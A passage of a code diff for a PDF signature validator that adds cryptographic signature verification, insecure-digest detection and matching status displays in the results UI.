</p>
|
</p>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
if (state.trustedCert) {
|
if (state.trustedCert) {
|
||||||
summaryHtml += `
|
summaryHtml += `
|
||||||
<p class="text-xs text-gray-400 mt-1">
|
<p class="text-xs text-gray-400 mt-1">
|
||||||
<i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>
|
<i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>
|
||||||
Trust verification: ${trustVerified}/${state.results.length} signatures verified against custom certificate
|
Trust verification: ${trustVerified}/${state.results.length} signatures verified against custom certificate
|
||||||
</p>
|
</p>
|
||||||
`;
|
`;
|
||||||
}
|
}
|
||||||
|
|
||||||
summaryDiv.innerHTML = summaryHtml;
|
summaryDiv.innerHTML = summaryHtml;
|
||||||
resultsContainer.appendChild(summaryDiv);
|
resultsContainer.appendChild(summaryDiv);
|
||||||
|
|
||||||
state.results.forEach((result, index) => {
|
state.results.forEach((result, index) => {
|
||||||
const card = createSignatureCard(result, index);
|
const card = createSignatureCard(result, index);
|
||||||
resultsContainer.appendChild(card);
|
resultsContainer.appendChild(card);
|
||||||
});
|
});
|
||||||
|
|
||||||
createIcons({ icons });
|
createIcons({ icons });
|
||||||
}
|
}
|
||||||
|
|
||||||
function createSignatureCard(result: SignatureValidationResult, index: number): HTMLElement {
|
function createSignatureCard(
|
||||||
const card = document.createElement('div');
|
result: SignatureValidationResult,
|
||||||
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
|
index: number
|
||||||
|
): HTMLElement {
|
||||||
|
const card = document.createElement('div');
|
||||||
|
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
|
||||||
|
|
||||||
let statusColor = 'text-green-400';
|
let statusColor = 'text-green-400';
|
||||||
let statusIcon = 'check-circle';
|
let statusIcon = 'check-circle';
|
||||||
let statusText = 'Valid Signature';
|
let statusText = 'Valid Signature';
|
||||||
|
|
||||||
if (!result.isValid) {
|
if (!result.isValid) {
|
||||||
statusColor = 'text-red-400';
|
if (result.cryptoVerificationStatus === 'unsupported') {
|
||||||
statusIcon = 'x-circle';
|
statusColor = 'text-yellow-400';
|
||||||
statusText = 'Invalid Signature';
|
statusIcon = 'alert-triangle';
|
||||||
} else if (result.isExpired) {
|
statusText = 'Unverified — Unsupported Signature Algorithm';
|
||||||
statusColor = 'text-yellow-400';
|
} else {
|
||||||
statusIcon = 'alert-triangle';
|
statusColor = 'text-red-400';
|
||||||
statusText = 'Certificate Expired';
|
statusIcon = 'x-circle';
|
||||||
} else if (result.isSelfSigned) {
|
statusText =
|
||||||
statusColor = 'text-yellow-400';
|
result.cryptoVerified === false
|
||||||
statusIcon = 'alert-triangle';
|
? 'Invalid — Cryptographic Verification Failed'
|
||||||
statusText = 'Self-Signed Certificate';
|
: 'Invalid Signature';
|
||||||
}
|
}
|
||||||
|
} else if (result.usesInsecureDigest) {
|
||||||
|
statusColor = 'text-red-400';
|
||||||
|
statusIcon = 'x-circle';
|
||||||
|
statusText = 'Insecure Digest (MD5 / SHA-1)';
|
||||||
|
} else if (result.isExpired) {
|
||||||
|
statusColor = 'text-yellow-400';
|
||||||
|
statusIcon = 'alert-triangle';
|
||||||
|
statusText = 'Certificate Expired';
|
||||||
|
} else if (result.isSelfSigned) {
|
||||||
|
statusColor = 'text-yellow-400';
|
||||||
|
statusIcon = 'alert-triangle';
|
||||||
|
statusText = 'Self-Signed Certificate';
|
||||||
|
}
|
||||||
|
|
||||||
const formatDate = (date: Date) => {
|
const formatDate = (date: Date) => {
|
||||||
if (!date || date.getTime() === 0) return 'Unknown';
|
if (!date || date.getTime() === 0) return 'Unknown';
|
||||||
return date.toLocaleDateString(undefined, {
|
return date.toLocaleDateString(undefined, {
|
||||||
year: 'numeric',
|
year: 'numeric',
|
||||||
month: 'short',
|
month: 'short',
|
||||||
day: 'numeric',
|
day: 'numeric',
|
||||||
hour: '2-digit',
|
hour: '2-digit',
|
||||||
minute: '2-digit'
|
minute: '2-digit',
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
let trustBadge = '';
|
let trustBadge = '';
|
||||||
if (state.trustedCert) {
|
if (state.trustedCert) {
|
||||||
if (result.isTrusted) {
|
if (result.isTrusted) {
|
||||||
trustBadge = '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
|
trustBadge =
|
||||||
} else {
|
'<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
|
||||||
trustBadge = '<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
|
} else {
|
||||||
}
|
trustBadge =
|
||||||
|
'<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
card.innerHTML = `
|
card.innerHTML = `
|
||||||
<div class="flex items-start justify-between mb-4">
|
<div class="flex items-start justify-between mb-4">
|
||||||
<div class="flex items-center gap-3">
|
<div class="flex items-center gap-3">
|
||||||
<i data-lucide="${statusIcon}" class="w-6 h-6 ${statusColor}"></i>
|
<i data-lucide="${statusIcon}" class="w-6 h-6 ${statusColor}"></i>
|
||||||
@@ -383,12 +427,13 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="flex items-center">
|
<div class="flex items-center">
|
||||||
${result.coverageStatus === 'full'
|
${
|
||||||
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
|
result.coverageStatus === 'full'
|
||||||
: result.coverageStatus === 'partial'
|
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
|
||||||
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
|
: result.coverageStatus === 'partial'
|
||||||
: ''
|
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
|
||||||
}${trustBadge}
|
: ''
|
||||||
|
}${trustBadge}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -407,12 +452,16 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
${result.signatureDate ? `
|
${
|
||||||
|
result.signatureDate
|
||||||
|
? `
|
||||||
<div>
|
<div>
|
||||||
<p class="text-gray-400">Signed On</p>
|
<p class="text-gray-400">Signed On</p>
|
||||||
<p class="text-white">${formatDate(result.signatureDate)}</p>
|
<p class="text-white">${formatDate(result.signatureDate)}</p>
|
||||||
</div>
|
</div>
|
||||||
` : ''}
|
`
|
||||||
|
: ''
|
||||||
|
}
|
||||||
|
|
||||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||||
<div>
|
<div>
|
||||||
@@ -425,19 +474,27 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
${result.reason ? `
|
${
|
||||||
|
result.reason
|
||||||
|
? `
|
||||||
<div>
|
<div>
|
||||||
<p class="text-gray-400">Reason</p>
|
<p class="text-gray-400">Reason</p>
|
||||||
<p class="text-white">${escapeHtml(result.reason)}</p>
|
<p class="text-white">${escapeHtml(result.reason)}</p>
|
||||||
</div>
|
</div>
|
||||||
` : ''}
|
`
|
||||||
|
: ''
|
||||||
|
}
|
||||||
|
|
||||||
${result.location ? `
|
${
|
||||||
|
result.location
|
||||||
|
? `
|
||||||
<div>
|
<div>
|
||||||
<p class="text-gray-400">Location</p>
|
<p class="text-gray-400">Location</p>
|
||||||
<p class="text-white">${escapeHtml(result.location)}</p>
|
<p class="text-white">${escapeHtml(result.location)}</p>
|
||||||
</div>
|
</div>
|
||||||
` : ''}
|
`
|
||||||
|
: ''
|
||||||
|
}
|
||||||
|
|
||||||
<details class="mt-2">
|
<details class="mt-2">
|
||||||
<summary class="cursor-pointer text-indigo-400 hover:text-indigo-300 text-sm">
|
<summary class="cursor-pointer text-indigo-400 hover:text-indigo-300 text-sm">
|
||||||
@@ -448,22 +505,23 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
|
|||||||
<p><span class="text-gray-400">Digest Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.digest)}</span></p>
|
<p><span class="text-gray-400">Digest Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.digest)}</span></p>
|
||||||
<p><span class="text-gray-400">Signature Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.signature)}</span></p>
|
<p><span class="text-gray-400">Signature Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.signature)}</span></p>
|
||||||
${result.errorMessage ? `<p class="text-red-400">Error: ${escapeHtml(result.errorMessage)}</p>` : ''}
|
${result.errorMessage ? `<p class="text-red-400">Error: ${escapeHtml(result.errorMessage)}</p>` : ''}
|
||||||
|
${result.unsupportedAlgorithmReason ? `<p class="text-yellow-300">${escapeHtml(result.unsupportedAlgorithmReason)}</p>` : ''}
|
||||||
</div>
|
</div>
|
||||||
</details>
|
</details>
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
return card;
|
return card;
|
||||||
}
|
}
|
||||||
|
|
||||||
function escapeHtml(str: string): string {
|
function escapeHtml(str: string): string {
|
||||||
const div = document.createElement('div');
|
const div = document.createElement('div');
|
||||||
div.textContent = str;
|
div.textContent = str;
|
||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (document.readyState === 'loading') {
|
if (document.readyState === 'loading') {
|
||||||
document.addEventListener('DOMContentLoaded', initializePage);
|
document.addEventListener('DOMContentLoaded', initializePage);
|
||||||
} else {
|
} else {
|
||||||
initializePage();
|
initializePage();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,11 @@
|
|||||||
import forge from 'node-forge';
|
import forge from 'node-forge';
|
||||||
import { ExtractedSignature, SignatureValidationResult } from '@/types';
|
import { ExtractedSignature, SignatureValidationResult } from '@/types';
|
||||||
|
|
||||||
|
const INSECURE_DIGEST_OIDS = new Set<string>([
|
||||||
|
'1.2.840.113549.2.5',
|
||||||
|
'1.3.14.3.2.26',
|
||||||
|
]);
|
||||||
|
|
||||||
export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
|
export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
|
||||||
const signatures: ExtractedSignature[] = [];
|
const signatures: ExtractedSignature[] = [];
|
||||||
const pdfString = new TextDecoder('latin1').decode(pdfBytes);
|
const pdfString = new TextDecoder('latin1').decode(pdfBytes);
|
||||||
@@ -70,11 +75,11 @@ export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
|
|||||||
return signatures;
|
return signatures;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function validateSignature(
|
export async function validateSignature(
|
||||||
signature: ExtractedSignature,
|
signature: ExtractedSignature,
|
||||||
pdfBytes: Uint8Array,
|
pdfBytes: Uint8Array,
|
||||||
trustedCert?: forge.pki.Certificate
|
trustedCert?: forge.pki.Certificate
|
||||||
): SignatureValidationResult {
|
): Promise<SignatureValidationResult> {
|
||||||
const result: SignatureValidationResult = {
|
const result: SignatureValidationResult = {
|
||||||
signatureIndex: signature.index,
|
signatureIndex: signature.index,
|
||||||
isValid: false,
|
isValid: false,
|
||||||
@@ -104,7 +109,10 @@ export function validateSignature(
|
|||||||
asn1
|
asn1
|
||||||
) as forge.pkcs7.PkcsSignedData & {
|
) as forge.pkcs7.PkcsSignedData & {
|
||||||
rawCapture?: {
|
rawCapture?: {
|
||||||
authenticatedAttributes?: Array<{ type: string; value: Date }>;
|
digestAlgorithm?: string;
|
||||||
|
authenticatedAttributes?: forge.asn1.Asn1[];
|
||||||
|
signature?: string;
|
||||||
|
signatureAlgorithm?: forge.asn1.Asn1[];
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -161,21 +169,47 @@ export function validateSignature(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const signerInfoFields = extractSignerInfoFields(p7);
|
||||||
|
const digestOid = signerInfoFields?.digestOid;
|
||||||
|
|
||||||
result.algorithms = {
|
result.algorithms = {
|
||||||
digest: getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
|
digest:
|
||||||
|
(digestOid && getDigestAlgorithmName(digestOid)) ||
|
||||||
|
getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
|
||||||
signature: getSignatureAlgorithmName(signerCert.signatureOid || ''),
|
signature: getSignatureAlgorithmName(signerCert.signatureOid || ''),
|
||||||
};
|
};
|
||||||
|
|
||||||
|
if (digestOid && INSECURE_DIGEST_OIDS.has(digestOid)) {
|
||||||
|
result.usesInsecureDigest = true;
|
||||||
|
}
|
||||||
|
|
||||||
// Parse signing time if available in signature
|
// Parse signing time if available in signature
|
||||||
if (signature.signingTime) {
|
if (signature.signingTime) {
|
||||||
result.signatureDate = new Date(signature.signingTime);
|
result.signatureDate = new Date(signature.signingTime);
|
||||||
} else {
|
} else {
|
||||||
// Try to extract from authenticated attributes
|
|
||||||
try {
|
try {
|
||||||
if (p7.rawCapture?.authenticatedAttributes) {
|
const attrs = p7.rawCapture?.authenticatedAttributes;
|
||||||
for (const attr of p7.rawCapture.authenticatedAttributes) {
|
if (attrs) {
|
||||||
if (attr.type === forge.pki.oids.signingTime) {
|
for (const attrNode of attrs) {
|
||||||
result.signatureDate = attr.value;
|
const attrChildren = attrNode.value;
|
||||||
|
if (!Array.isArray(attrChildren) || attrChildren.length < 2)
|
||||||
|
continue;
|
||||||
|
const oidNode = attrChildren[0];
|
||||||
|
const setNode = attrChildren[1];
|
||||||
|
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
|
||||||
|
const oid = forge.asn1.derToOid(oidNode.value as string);
|
||||||
|
if (oid === forge.pki.oids.signingTime) {
|
||||||
|
const setValue = setNode?.value;
|
||||||
|
if (Array.isArray(setValue) && setValue[0]) {
|
||||||
|
const timeNode = setValue[0];
|
||||||
|
const timeStr = timeNode.value as string;
|
||||||
|
if (typeof timeStr === 'string' && timeStr.length > 0) {
|
||||||
|
result.signatureDate =
|
||||||
|
timeNode.type === forge.asn1.Type.UTCTIME
|
||||||
|
? forge.asn1.utcTimeToDate(timeStr)
|
||||||
|
: forge.asn1.generalizedTimeToDate(timeStr);
|
||||||
|
}
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -190,7 +224,6 @@ export function validateSignature(
|
|||||||
|
|
||||||
if (signature.byteRange && signature.byteRange.length === 4) {
|
if (signature.byteRange && signature.byteRange.length === 4) {
|
||||||
const [, len1, start2, len2] = signature.byteRange;
|
const [, len1, start2, len2] = signature.byteRange;
|
||||||
const totalCovered = len1 + len2;
|
|
||||||
const expectedEnd = start2 + len2;
|
const expectedEnd = start2 + len2;
|
||||||
|
|
||||||
if (expectedEnd === pdfBytes.length) {
|
if (expectedEnd === pdfBytes.length) {
|
||||||
@@ -200,7 +233,27 @@ export function validateSignature(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
result.isValid = true;
|
const verification = await performCryptoVerification(
|
||||||
|
p7,
|
||||||
|
pdfBytes,
|
||||||
|
signature.byteRange,
|
||||||
|
signerCert,
|
||||||
|
signerInfoFields
|
||||||
|
);
|
||||||
|
|
||||||
|
result.cryptoVerified = verification.status === 'verified';
|
||||||
|
result.cryptoVerificationStatus = verification.status;
|
||||||
|
if (verification.status === 'unsupported') {
|
||||||
|
result.unsupportedAlgorithmReason = verification.reason;
|
||||||
|
} else if (verification.status === 'failed') {
|
||||||
|
result.errorMessage =
|
||||||
|
verification.reason || 'Cryptographic verification failed';
|
||||||
|
}
|
||||||
|
|
||||||
|
result.isValid =
|
||||||
|
verification.status === 'verified' &&
|
||||||
|
result.coverageStatus !== 'unknown' &&
|
||||||
|
!result.usesInsecureDigest;
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
result.errorMessage =
|
result.errorMessage =
|
||||||
e instanceof Error ? e.message : 'Failed to parse signature';
|
e instanceof Error ? e.message : 'Failed to parse signature';
|
||||||
@@ -214,7 +267,9 @@ export async function validatePdfSignatures(
|
|||||||
trustedCert?: forge.pki.Certificate
|
trustedCert?: forge.pki.Certificate
|
||||||
): Promise<SignatureValidationResult[]> {
|
): Promise<SignatureValidationResult[]> {
|
||||||
const signatures = extractSignatures(pdfBytes);
|
const signatures = extractSignatures(pdfBytes);
|
||||||
return signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert));
|
return Promise.all(
|
||||||
|
signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert))
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function countSignatures(pdfBytes: Uint8Array): number {
|
export function countSignatures(pdfBytes: Uint8Array): number {
|
||||||
@@ -262,3 +317,490 @@ function getSignatureAlgorithmName(oid: string): string {
|
|||||||
};
|
};
|
||||||
return signatureAlgorithms[oid] || oid || 'Unknown';
|
return signatureAlgorithms[oid] || oid || 'Unknown';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
interface SignerInfoFields {
|
||||||
|
digestOid: string;
|
||||||
|
authAttrs: forge.asn1.Asn1[] | null;
|
||||||
|
signatureBytes: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractSignerInfoFields(
|
||||||
|
p7: forge.pkcs7.PkcsSignedData & {
|
||||||
|
rawCapture?: {
|
||||||
|
digestAlgorithm?: string;
|
||||||
|
authenticatedAttributes?: forge.asn1.Asn1[];
|
||||||
|
signature?: string;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
): SignerInfoFields | null {
|
||||||
|
const rc = p7.rawCapture;
|
||||||
|
if (!rc) return null;
|
||||||
|
const digestAlgorithmBytes = rc.digestAlgorithm;
|
||||||
|
const signatureBytes = rc.signature;
|
||||||
|
if (typeof digestAlgorithmBytes !== 'string' || !signatureBytes) return null;
|
||||||
|
|
||||||
|
return {
|
||||||
|
digestOid: forge.asn1.derToOid(digestAlgorithmBytes),
|
||||||
|
authAttrs: Array.isArray(rc.authenticatedAttributes)
|
||||||
|
? rc.authenticatedAttributes
|
||||||
|
: null,
|
||||||
|
signatureBytes,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function createMd(digestOid: string): forge.md.MessageDigest | null {
|
||||||
|
switch (digestOid) {
|
||||||
|
case forge.pki.oids.sha256:
|
||||||
|
return forge.md.sha256.create();
|
||||||
|
case forge.pki.oids.sha384:
|
||||||
|
return forge.md.sha384.create();
|
||||||
|
case forge.pki.oids.sha512:
|
||||||
|
return forge.md.sha512.create();
|
||||||
|
case forge.pki.oids.sha1:
|
||||||
|
return forge.md.sha1.create();
|
||||||
|
case forge.pki.oids.md5:
|
||||||
|
return forge.md.md5.create();
|
||||||
|
default:
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function uint8ToLatin1(bytes: Uint8Array): string {
|
||||||
|
let out = '';
|
||||||
|
for (let i = 0; i < bytes.length; i++) {
|
||||||
|
out += String.fromCharCode(bytes[i]);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
type CryptoVerificationResult =
|
||||||
|
| { status: 'verified' }
|
||||||
|
| { status: 'failed'; reason: string }
|
||||||
|
| { status: 'unsupported'; reason: string };
|
||||||
|
|
||||||
|
interface SigScheme {
|
||||||
|
kind: 'rsa-pkcs1' | 'rsa-pss' | 'ecdsa' | 'rsa-raw';
|
||||||
|
hashName: 'SHA-1' | 'SHA-256' | 'SHA-384' | 'SHA-512';
|
||||||
|
pssSaltLength?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
function latin1ToUint8(str: string): Uint8Array {
|
||||||
|
const out = new Uint8Array(str.length);
|
||||||
|
for (let i = 0; i < str.length; i++) out[i] = str.charCodeAt(i);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
function hashNameFromOid(oid: string): SigScheme['hashName'] | null {
|
||||||
|
switch (oid) {
|
||||||
|
case '1.3.14.3.2.26':
|
||||||
|
return 'SHA-1';
|
||||||
|
case '2.16.840.1.101.3.4.2.1':
|
||||||
|
return 'SHA-256';
|
||||||
|
case '2.16.840.1.101.3.4.2.2':
|
||||||
|
return 'SHA-384';
|
||||||
|
case '2.16.840.1.101.3.4.2.3':
|
||||||
|
return 'SHA-512';
|
||||||
|
default:
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function detectSigScheme(
|
||||||
|
signatureAlgorithmArr: forge.asn1.Asn1[] | undefined,
|
||||||
|
digestOid: string
|
||||||
|
): SigScheme | { unsupported: string } {
|
||||||
|
if (!signatureAlgorithmArr || signatureAlgorithmArr.length === 0) {
|
||||||
|
return { unsupported: 'Missing signatureAlgorithm' };
|
||||||
|
}
|
||||||
|
const oidNode = signatureAlgorithmArr[0];
|
||||||
|
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) {
|
||||||
|
return { unsupported: 'Malformed signatureAlgorithm' };
|
||||||
|
}
|
||||||
|
const oid = forge.asn1.derToOid(oidNode.value as string);
|
||||||
|
const implicitHash = hashNameFromOid(digestOid);
|
||||||
|
|
||||||
|
switch (oid) {
|
||||||
|
case '1.2.840.113549.1.1.1':
|
||||||
|
return implicitHash
|
||||||
|
? { kind: 'rsa-pkcs1', hashName: implicitHash }
|
||||||
|
: { unsupported: `Unsupported digest OID ${digestOid}` };
|
||||||
|
case '1.2.840.113549.1.1.5':
|
||||||
|
return { kind: 'rsa-pkcs1', hashName: 'SHA-1' };
|
||||||
|
case '1.2.840.113549.1.1.11':
|
||||||
|
return { kind: 'rsa-pkcs1', hashName: 'SHA-256' };
|
||||||
|
case '1.2.840.113549.1.1.12':
|
||||||
|
return { kind: 'rsa-pkcs1', hashName: 'SHA-384' };
|
||||||
|
case '1.2.840.113549.1.1.13':
|
||||||
|
return { kind: 'rsa-pkcs1', hashName: 'SHA-512' };
|
||||||
|
case '1.2.840.113549.1.1.10': {
|
||||||
|
const params = parsePssParams(signatureAlgorithmArr[1]);
|
||||||
|
return {
|
||||||
|
kind: 'rsa-pss',
|
||||||
|
hashName: params.hashName,
|
||||||
|
pssSaltLength: params.saltLength,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
case '1.2.840.10045.4.1':
|
||||||
|
return { kind: 'ecdsa', hashName: 'SHA-1' };
|
||||||
|
case '1.2.840.10045.4.3.2':
|
||||||
|
return { kind: 'ecdsa', hashName: 'SHA-256' };
|
||||||
|
case '1.2.840.10045.4.3.3':
|
||||||
|
return { kind: 'ecdsa', hashName: 'SHA-384' };
|
||||||
|
case '1.2.840.10045.4.3.4':
|
||||||
|
return { kind: 'ecdsa', hashName: 'SHA-512' };
|
||||||
|
case '1.2.840.10045.2.1':
|
||||||
|
return implicitHash
|
||||||
|
? { kind: 'ecdsa', hashName: implicitHash }
|
||||||
|
: { unsupported: `Unsupported digest OID ${digestOid}` };
|
||||||
|
default:
|
||||||
|
return { unsupported: `Unsupported signature algorithm OID ${oid}` };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function parsePssParams(paramsNode: forge.asn1.Asn1 | undefined): {
|
||||||
|
hashName: SigScheme['hashName'];
|
||||||
|
saltLength: number;
|
||||||
|
} {
|
||||||
|
const fallback = { hashName: 'SHA-1' as const, saltLength: 20 };
|
||||||
|
if (!paramsNode || !Array.isArray(paramsNode.value)) return fallback;
|
||||||
|
let hashName: SigScheme['hashName'] = 'SHA-1';
|
||||||
|
let saltLength = 20;
|
||||||
|
for (const item of paramsNode.value) {
|
||||||
|
if (item.tagClass !== forge.asn1.Class.CONTEXT_SPECIFIC) continue;
|
||||||
|
if (item.type === 0 && Array.isArray(item.value) && item.value[0]) {
|
||||||
|
const algoIdSeq = item.value[0];
|
||||||
|
if (Array.isArray(algoIdSeq.value) && algoIdSeq.value[0]) {
|
||||||
|
const hashOid = forge.asn1.derToOid(algoIdSeq.value[0].value as string);
|
||||||
|
const resolved = hashNameFromOid(hashOid);
|
||||||
|
if (resolved) hashName = resolved;
|
||||||
|
}
|
||||||
|
} else if (item.type === 2 && typeof item.value === 'string') {
|
||||||
|
let n = 0;
|
||||||
|
for (let i = 0; i < item.value.length; i++) {
|
||||||
|
n = (n << 8) | item.value.charCodeAt(i);
|
||||||
|
}
|
||||||
|
if (n > 0 && n < 1024) saltLength = n;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return { hashName, saltLength };
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractSpkiDer(
|
||||||
|
p7: forge.pkcs7.PkcsSignedData & {
|
||||||
|
rawCapture?: { certificates?: forge.asn1.Asn1 };
|
||||||
|
}
|
||||||
|
): Uint8Array | null {
|
||||||
|
try {
|
||||||
|
const certsNode = p7.rawCapture?.certificates;
|
||||||
|
if (!certsNode || !Array.isArray(certsNode.value) || !certsNode.value[0]) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
const certAsn1 = certsNode.value[0];
|
||||||
|
if (!Array.isArray(certAsn1.value) || !certAsn1.value[0]) return null;
|
||||||
|
const tbs = certAsn1.value[0];
|
||||||
|
if (!Array.isArray(tbs.value)) return null;
|
||||||
|
let startIdx = 0;
|
||||||
|
if (
|
||||||
|
tbs.value[0] &&
|
||||||
|
tbs.value[0].tagClass === forge.asn1.Class.CONTEXT_SPECIFIC
|
||||||
|
) {
|
||||||
|
startIdx = 1;
|
||||||
|
}
|
||||||
|
const spkiAsn1 = tbs.value[startIdx + 5];
|
||||||
|
if (!spkiAsn1) return null;
|
||||||
|
return latin1ToUint8(forge.asn1.toDer(spkiAsn1).getBytes());
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function curveFromSpki(
|
||||||
|
spkiDer: Uint8Array
|
||||||
|
): { name: 'P-256' | 'P-384' | 'P-521'; coordBytes: number } | null {
|
||||||
|
try {
|
||||||
|
const spki = forge.asn1.fromDer(uint8ToLatin1(spkiDer));
|
||||||
|
if (!Array.isArray(spki.value) || !spki.value[0]) return null;
|
||||||
|
const algoId = spki.value[0];
|
||||||
|
if (!Array.isArray(algoId.value) || !algoId.value[1]) return null;
|
||||||
|
const params = algoId.value[1];
|
||||||
|
if (params.type !== forge.asn1.Type.OID) return null;
|
||||||
|
const oid = forge.asn1.derToOid(params.value as string);
|
||||||
|
if (oid === '1.2.840.10045.3.1.7') return { name: 'P-256', coordBytes: 32 };
|
||||||
|
if (oid === '1.3.132.0.34') return { name: 'P-384', coordBytes: 48 };
|
||||||
|
if (oid === '1.3.132.0.35') return { name: 'P-521', coordBytes: 66 };
|
||||||
|
return null;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function ecdsaDerToP1363(
|
||||||
|
derSig: Uint8Array,
|
||||||
|
coordBytes: number
|
||||||
|
): Uint8Array | null {
|
||||||
|
try {
|
||||||
|
const parsed = forge.asn1.fromDer(uint8ToLatin1(derSig));
|
||||||
|
if (!Array.isArray(parsed.value) || parsed.value.length !== 2) return null;
|
||||||
|
const r = latin1ToUint8(parsed.value[0].value as string);
|
||||||
|
const s = latin1ToUint8(parsed.value[1].value as string);
|
||||||
|
const rStripped = r[0] === 0 && r.length > 1 ? r.slice(1) : r;
|
||||||
|
const sStripped = s[0] === 0 && s.length > 1 ? s.slice(1) : s;
|
||||||
|
if (rStripped.length > coordBytes || sStripped.length > coordBytes) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
const out = new Uint8Array(coordBytes * 2);
|
||||||
|
out.set(rStripped, coordBytes - rStripped.length);
|
||||||
|
out.set(sStripped, coordBytes * 2 - sStripped.length);
|
||||||
|
return out;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function verifyViaWebCrypto(
|
||||||
|
scheme: SigScheme,
|
||||||
|
spkiDer: Uint8Array,
|
||||||
|
signedBytes: Uint8Array,
|
||||||
|
signatureBytes: Uint8Array
|
||||||
|
): Promise<CryptoVerificationResult> {
|
||||||
|
const subtle =
|
||||||
|
typeof globalThis.crypto !== 'undefined' && globalThis.crypto.subtle
|
||||||
|
? globalThis.crypto.subtle
|
||||||
|
: null;
|
||||||
|
if (!subtle) {
|
||||||
|
return {
|
||||||
|
status: 'unsupported',
|
||||||
|
reason: 'Web Crypto API not available in this context',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const spki = new Uint8Array(spkiDer);
|
||||||
|
const signed = new Uint8Array(signedBytes);
|
||||||
|
const sig = new Uint8Array(signatureBytes);
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (scheme.kind === 'rsa-pss') {
|
||||||
|
const key = await subtle.importKey(
|
||||||
|
'spki',
|
||||||
|
spki,
|
||||||
|
{ name: 'RSA-PSS', hash: scheme.hashName },
|
||||||
|
false,
|
||||||
|
['verify']
|
||||||
|
);
|
||||||
|
const ok = await subtle.verify(
|
||||||
|
